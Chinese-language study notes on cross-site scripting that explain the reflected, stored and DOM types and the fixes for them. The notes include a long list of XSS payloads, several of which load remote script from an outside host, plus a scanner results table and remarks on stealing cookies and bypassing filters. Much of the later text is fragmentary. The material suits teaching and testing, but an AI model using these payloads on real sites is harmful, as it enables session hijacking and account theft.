Xss跨站脚本攻击
    
 浅谈XSS漏洞挖掘  https://mp.weixin.qq.com/s/6oT63IxXodWte3WLw-zKRw
有输入的地方就试试,对可以触发XSS的地方做总结
输入即输出
对用户的输入在没有进行任何过滤的情况下进行了输出。
输出报错信息的时候直接把用户输入的内容直接进行了输出。
猜想可能由于现在对信息安全的重视,涉及到业务方面的输入数据的过滤编码已经很成熟,
对一些错误信息的输出可能重视还不够大。
该漏洞的触发就是在返回错误信息的时候回返回方法名,这个方法名攻击者可以自己定义,导致触发了XSS漏洞
在返回错误信息的时候回返回参数
 FUZZ参数触发XSS
 
 XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,
为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。
一般XSS可以分为如下几种常见类型:
 1.反射性XSS;
 2.存储型XSS; 
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,
在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,
导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,
一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: 
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入; 
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
 
"'><textarea+autofocus+onfocus=alert(45)>
 <iframe/src=JavaScriPt:alert(45)>
 <script>alert(aming)</script>
<script src=”http://192.168.1.19/xssshell.jsp?v=336699″></script>
><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert(‘XSS’)</script>
<img src=”javascript:alert(‘XSS’)”>
<script>alert(‘Vulnerable’)</script>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<SCRIPT a=”>” SRC=”http://xxxx/a.js”></SCRIPT>
<SCRIPT =”>” SRC=”http://xxxxx/a.js”></SCRIPT>
<SCRIPT a=”>” ” SRC=”http://xxxxx/a.js”></SCRIPT>
<SCRIPT “a=’>’” SRC=”http://xxxxx/a.js”></SCRIPT>
<img src=x onerror=alert(45)>
<svg/onload=alert(45)> 
<script>alert(45)</script>
<img/src onerror=alert(45)>
"><iframe/src=JavaScriPt:alert(45)>
<video/poster/onerror=alert(45)> 
<audio src onloadstart=alert(45)>
<meter onmouseover=alert(45)>0</meter>
<marquee onstart=alert(45)>
<select autofocus onfocus=alert(45)>
<input autofocus onfocus=alert(45)>
<keygen autofocus onfocus=alert(45)>
<textarea autofocus onfocus=alert(45)>
  
<original query>
onhwul=64 
<svg/onload=alert(45)>                 | reflected XSS Code              |
<script>alert(45)</script>             | reflected XSS Code              |
| 9  | HIGH   | XSS             | GET    | type  | <marquee onstart=alert(45)>            | reflected HTML5 XSS Code        |
| 10 | HIGH   | XSS             | GET    | type  | <meter onmouseover=alert(45)>0</meter> | reflected HTML5 XSS Code        |
| 11 | HIGH   | XSS             | GET    | type  | <audio src onloadstart=alert(45)>      | reflected HTML5 XSS Code        |
| 12 | HIGH   | XSS             | GET    | type  | "><iframe/src=JavaScriPt:alert(45)>    | reflected XSS Code              |
| 13 | HIGH   | XSS             | GET    | type  | <video/poster/onerror=alert(45)>       | reflected HTML5 XSS Code        |
| 14 | HIGH   | XSS             | GET    | type  | <img/src onerror=alert(45)>            | reflected XSS Code              |
| 15 | HIGH   | XSS             | GET    | type  | <input autofocus onfocus=alert(45)>    | reflected onfocus XSS Code      |
| 16 | HIGH   | XSS             | GET    | type  | <keygen autofocus onfocus=alert(45)>   | reflected onfocus XSS Code      |
| 17 | HIGH   | XSS             | GET    | type  | <select autofocus onfocus=alert(45)>   | reflected onfocus XSS Code      |
<textarea autofocus onfocus=alert(45)> | reflected onfocus XSS Code      |
http://www.xxxx.com/tool/search.php?
title=88952634
&mod=main
&file=html
&action=index"'><textarea+autofocus+onfocus=alert(45)>
&dosubmit=1
    
    
    Xss通用明文 &&表单劫持
   
    
    
     
   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
     
   
    
    
    
    
    
    
     
   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
     
   
    
    
     
   
    
    
    web安全工程师-03-XSS漏洞原理与利用
   
     
   
     
   
    
    
    第一章:XSS基础
   
    
    
    1.1 XSS介绍与原理~1
   
    
    
    
    
     
   
 打cookie 
 xss + csrf   getshell
     
   
 用来攻击  使用浏览器 打开这个 页面的 用户  
 获取cookie    正常用户/管理员 权限
     
   
反射型  - 非存储型 
通常  xss 代码  Payload (js)  通过 get 某个参数 传入   后端 
没有经过 存储    直接反射回   用户页面 (html)上  
     
   
  存储型
  payload  存   在某一介质 (数据库、缓存、文件)
用户 查看这个页面时    展示 页面  取出数据 时  执行
     
   
 跟反射型类似
 但接受者 不再是  后端程序    而是 js 拿到参数  直接  在页面 显示
     
   
  html 实体编码  大多数 管用
    
  白名单  发表文章  富文本  过滤掉  js代码   或者  涉及非法的属性
  只div  a  p b  标签    
  排除onError、onLoad  事件属性 
  只 src  
  黑名单 可能会绕过
  
  xss 业务场景   对症 
  反射  get 输入    script代码块 输出  
     
   
xss 流程
payload 构造
验证
修复
xss 高阶 新用法
xss持久化
xss系列
    
    
    1.2 存储型XSS实战
   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    被实体转义
   
    
     
   
    
    
    
    
    
    
    
    
    我日我自己
   
     
   
    
    
    
    
    
    
    用户登录 凭证
    
    
    
    换个用户登录
    
    
    
    
    
    盗取cookie
   
 怎么修复 
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    看 数据库 中 可控字段
    
     
   
    
    
    1.3 反射型XSS实战
   
    
    
     
   
通过 url 参数 传入 恶意代码
    
     
   
    
    
    
    
    
    
    
    
     
   
    
    
    value 闭合 掉
   
    
    
    
    
    
    
    
     
   
反射型 修复
    
    
    orm 模型 查询
   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
     
   
    
    
    
    
    
    
     
   
刚才 访问页面 自动给 焦点 就会一直触发
     
   
    语法
    
    闭合
    
    或者 属性 弹窗
   
    
    
    
    
    html 实体转义掉
   
    
    
    
    
     
   
    
    
    1.4 DOM型XSS实战
   
    
    
    
    
    js 实现
    
     
   
    
    
    
    
    
    
    
    
    
    
    dom型 不一定 是 url 传过来的 参数
   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
     
   
    
    
    1.5 XSS辅助测试工具
   
    
    
    
    
    
     
   
    
    
    
    
    
    
    
    
    
    
     
   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
     
   
绕过
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
     
   
    
    
     
   
    
    
    
    
    
    
    
    
    
    
    
    
     
   
    
    
    第二章: XSS实战与防御机制绕过
   
    
    
    2.1 存储型XSS多场景实战及Bypass详解
   
    
    
    
    
    
    
    
    
    
    
    
     
   
    
    
     
   
     
   
    
    
    
    
    
     
   
    
    
    
    
    
    
    
    
    
     
   
    
    
    
    
    
     
   
    
    
    
    
    
    
    
     
   
- 
     全局 配置文件
 
   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
     
   
    
    
    
    
    
    
    
    去掉空格 截断函数
   
    
     
   
    
    
    
    
    
    
    反斜杠 处理
   
     
   
处理 编码问题
    
    
    
    
    
    
    
    
    数据展示 的 类
   
    
    
    
    
    实体转义 标签 防止 执行
    
    
    
    
    
    
    
     
   
    
    
    
     
   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
     
   
    输入 没做处理
    
     
   
    输出 做了处理 没做完全
    
    
    
     
   
- 
     修复 实体转义
 
  
 
  
 
  
 
  
 
  
 
  
 
  
 
   
    
    
    
    
    
    
    
    
    
     
   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
     
   
编写 payload
    
    
    
    
    
    
    
    
    
     
   
长度限制 添加注释
    
    
    
     
   
     
   
注释 闭合 网页标签
    
    
    
    
     
   
    
    
    
    
    
    
    
    
    dom节点
    
    
    
     
   
    
    
    
     
   
    
    
    
    
    
    
    
    
    
    
    
    
     
   
    多段提交
    
    注释 执行
   
    多点限制 加密 编码
    
    取值 得值 谨慎
   
    
    
    2.3 反射型XSS多场景实战及Bypass详解~1
   
     
   
- 插件 漏洞
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
     
   
    
    
    payload 多次 url 编码
   
    
    
    
    
    
    
     
   
浏览器默认 解码一次 url编码
    
    
    
     
   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
     
   
    
    
    2.4 DOM型XSS多场景实战及Bypass详解~1
   
    
    
    
    
    
    
    
    
    
    
    
     
   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    存储 + DOM
   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
     
   
漏洞 分析 + 挖掘
    
    
    第三章:XSS高级
   
 
